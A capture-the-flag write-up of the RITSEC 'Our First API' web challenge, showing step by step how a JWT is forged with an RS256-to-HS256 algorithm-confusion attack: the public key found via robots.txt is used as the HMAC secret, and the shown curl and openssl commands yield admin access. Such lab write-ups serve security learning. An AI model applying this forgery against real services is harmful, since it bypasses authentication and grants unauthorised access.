ctftime

My solutions for various CTF challenges

View on GitHub

Our First API

Web - Points: 500

ctfchallenges.ritsec.club:3000 ctfchallenges.ritsec.club:4000

Author: sandw1ch

You have the following endpoints:

ctfchallenges.ritsec.club:3000/auth
ctfchallenges.ritsec.club:4000/api/normal
ctfchallenges.ritsec.club:4000/api/admin

When trying to access the API endpoints, it claims that a JWT authorization is missing.

$ curl ctfchallenges.ritsec.club:4000/api/normal
Forbidden, missing JWT authorization

You can get a JTW token when accessing the /auth endpoint that requires a name parameter:

$ curl ctfchallenges.ritsec.club:3000/auth?name=admin
{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJ0eXBlIjoidXNlciIsImlhdCI6MTU3NDExNDU3N30.tAg_5g-W5Ch5iauAtWA-ZyfMunJX2YDbNpKgxvvPp0ciMF8YDt7EoUJhs9A-WxzC2z0xs72Kv_5C4HBoCG3Wz-y5on6wDNBZotwCd-vjRXRWURSfoTftnvtvfvF408IUEDVJ_T5ftcT03WDBOWiz2_AhLMJ5mENd4g1aPc__Z7M"}

You can use that JWT for the /api/normal endpoint, but as expected you have to be admin:

$ curl http://ctfchallenges.ritsec.club:4000/api/normal -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJ0eXBlIjoidXNlciIsImlhdCI6MTU3NDExNDU3N30.tAg_5g-W5Ch5iauAtWA-ZyfMunJX2YDbNpKgxvvPp0ciMF8YDt7EoUJhs9A-WxzC2z0xs72Kv_5C4HBoCG3Wz-y5on6wDNBZotwCd-vjRXRWURSfoTftnvtvfvF408IUEDVJ_T5ftcT03WDBOWiz2_AhLMJ5mENd4g1aPc__Z7M'
{"flag":"Congrats on authenticating! Too bad flags aren't for normal users !!"}

Using that token for the /api/admin endpoint returns Not an admin!, so lets check what is inside that token.

You can go to https://jwt.io/ and paste token to quickly see the contents. The payload contains the following:

{
  "name": "admin",
  "type": "user",
  "iat": 1574114577
}

Obviously we have to forge our own token and change the type user to admin, but we have to sign it with the private key, otherwise the signature check fails.

I tried to modify the header that specifies the algorithm and token type and changed "alg": "RS256" to "alg": "none" (I read this somewhere) but it didn’t worked out.

But already when I started with the challenge, I looked into the source code of the API documentation and found this comment <!-- Robots can help you with the api -->, and when checking the robots.txt we get the following:

$ curl http://ctfchallenges.ritsec.club:3000/robots.txt
User-agent: *
Disallow: /signing.pem
Disallow: /auth

So we get the signing.pem, the public key that will be used to verify the signature of the JWT. This must somehow be a hint, so I started googling around and found this: https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through/

We modify the header and change the algorithm "alg": "RS256" (RSA) to "alg": "HS256" (HMAC), that uses a shared key for signing and verification. Then we modify our payload and set "type": "admin" and create our HMAC signature with the public key used as secret. When we send this token to the API, it hopefully accepts the changed algorithm type and processes the signature as type HMAC with the public key now serving as the secret key.

After modifying the header and payload and after encoding with base64 the JWT looks like this:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJ0eXBlIjoiYWRtaW4iLCJpYXQiOjE1NzM5OTMyNDZ9

Then we create our HMAC signature with the public key as secret and convert it to base64 (these steps are taken from the article):

$ cat signing.pem | xxd -p | tr -d "\\n"
$ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJ0eXBlIjoiYWRtaW4iLCJpYXQiOjE1NzM5OTMyNDZ9" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d4947664d413047435371475349623344514542415155414134474e4144434269514b426751444271757a4d476b5a6c4a6d5a6d34705970707865446d7347640a382b396d4f683553394f375737477535564279666c3769334a6443664778524a6448736367366c333231506554587358475a37676f486434586a762f46744b510a44796f614b716c344b6c3639324b4b4b4e2f39784136744b644f5951625a76507179525855564f4764795a31327146424f517a49376f783232594c33756c2f330a6e796944522b702b4a4b62645655364157514944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a
$ python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('1c0a91a9e5e1a74f8f2f57cd443984d2904a826a21bb41a672d246a7005d4e9b')).replace('=','')\")"

The JTW with signature looks like this:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJ0eXBlIjoiYWRtaW4iLCJpYXQiOjE1NzM5OTMyNDZ9.HAqRqeXhp0-PL1fNRDmE0pBKgmohu0GmctJGpwBdTps

Lets send it to the API:

$ curl http://ctfchallenges.ritsec.club:4000/api/admin -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJ0eXBlIjoiYWRtaW4iLCJpYXQiOjE1NzM5OTMyNDZ9.HAqRqeXhp0-PL1fNRDmE0pBKgmohu0GmctJGpwBdTps'

flag: RITSEC{JWT_th1s_0ne_d0wn}